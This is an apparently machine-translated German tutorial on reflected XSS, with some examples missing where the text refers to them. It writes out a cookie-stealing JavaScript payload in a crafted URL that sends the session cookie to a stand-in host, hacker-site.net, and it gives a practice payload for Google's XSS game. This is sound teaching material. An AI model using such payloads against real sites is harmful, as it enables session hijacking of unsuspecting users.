Was ist Cross-Site-Scripting?
Cross-Site Scripting (XSS) ist heute eine der beliebtesten Angriffstechniken, bekannt als „Godfather of Attack“ und wird seit vielen Jahren als die gefährlichste Angriffstechnik für Anwendungen aufgeführt.
Nennen Sie es nicht kurz CSS, um Verwechslungen mit dem Cascading Style Sheet-Konzept von HTML zu vermeiden.
Die XSS-
Technik
Um es besser zu verstehen, betrachten wir das folgende Beispiel. Eine Webanwendung, die das Drucken des über die URL übergebenen Werts ermöglicht, vorausgesetzt, wir übergeben der Namensvariablen den Ping-Wert:

Bisher ist alles in Ordnung. Sehen wir uns den HTML-Quellcode an:

Es ist leicht zu erkennen, dass der von uns eingegebene Namenswert in den Quellcode eingefügt wurde. Es ist also möglich, dass alles, was importiert wird, auch eingefügt werden kann. Das Problem wird schwerwiegend, wenn der eingegebene Wert kein normaler String wie oben, sondern ein potenziell gefährlicher Code ist, etwa so:
Versuchen Sie es erneut mit dem oben genannten Wert:

Aus diesem Beispiel können wir zwei Dinge schließen. Erstens kann die Namensvariable einen beliebigen Eingabewert empfangen und ihn zur Verarbeitung an den Server übertragen. Zweitens hat der Server diesen Eingabewert nicht kontrolliert, bevor er ihn an den Browser zurückgegeben hat. Dies führt dazu, dass der Javascript-Code in den Quellcode eingefügt wird.
XSS wird im Allgemeinen in drei Haupttypen unterteilt: Reflektiert, Gespeichert und DOM-basiert. In diesem Artikel werde ich hauptsächlich die Reflected XSS-Technik erwähnen.
Bis zu 75 % der XSS-Techniken basieren auf Reflected XSS. Dies wird als „reflektiert“ bezeichnet, da der Hacker bei dieser Art von Exploit-Szenario dem Opfer eine URL senden muss, die bösartigen Code (normalerweise Javascript) enthält. Das Opfer muss lediglich diese URL anfordern und der Hacker erhält sofort eine Antwort mit dem gewünschten Ergebnis (hier gezeigte Reflexivität). Darüber hinaus wird es auch als XSS erster Ordnung bezeichnet.
Reales Bergbauszenario
Es gibt viele Möglichkeiten, den Reflected XSS-Fehler auszunutzen. Eine der bekanntesten Methoden besteht darin, die Sitzung des Benutzers zu übernehmen und so auf Daten zuzugreifen und seine Rechte auf der Website zu erlangen.
Einzelheiten werden in den folgenden Schritten beschrieben:

1. Der Benutzer meldet sich im Web an und geht davon aus, dass eine Sitzung zugewiesen ist:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Irgendwie sendet der Hacker dem Benutzer die URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Angenommen, example.com ist die Website, die das Opfer besucht, hacker-site.net ist die vom Hacker erstellte Website
3. Das Opfer greift auf die oben genannte URL zu
4. Der Server antwortet dem Opfer zusammen mit den in der Anfrage enthaltenen Daten (dem Javascript-Snippet des Hackers).
5. Der Browser des Opfers empfängt die Antwort und führt das Javascript aus
6. Das tatsächliche Javascript, das der Hacker erstellt hat, lautet wie folgt:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Die obige Befehlszeile stellt im Wesentlichen eine Anfrage an die Website des Hackers, wobei der Parameter das Benutzer-Cookie ist:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Von Ihrer Website aus fängt der Hacker den oben genannten Anforderungsinhalt ab und geht davon aus, dass die Sitzung des Benutzers übernommen wurde. An diesem Punkt kann der Hacker sich als Opfer ausgeben und alle Rechte auf der Website ausüben, die das Opfer besitzt.
Üben
Google hat hier eine Seite zum Üben der Ausnutzung von XSS-Fehlern erstellt: https://xss-game.appspot.com
Das Ziel dieser Herausforderungen besteht darin, dass Sie Skripte einfügen müssen, um ein Popup zu öffnen. Die erste Herausforderung besteht darin, die reflektierte Technik zu veranschaulichen. Der Ausnutzungscode ist recht einfach:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Viel Glück!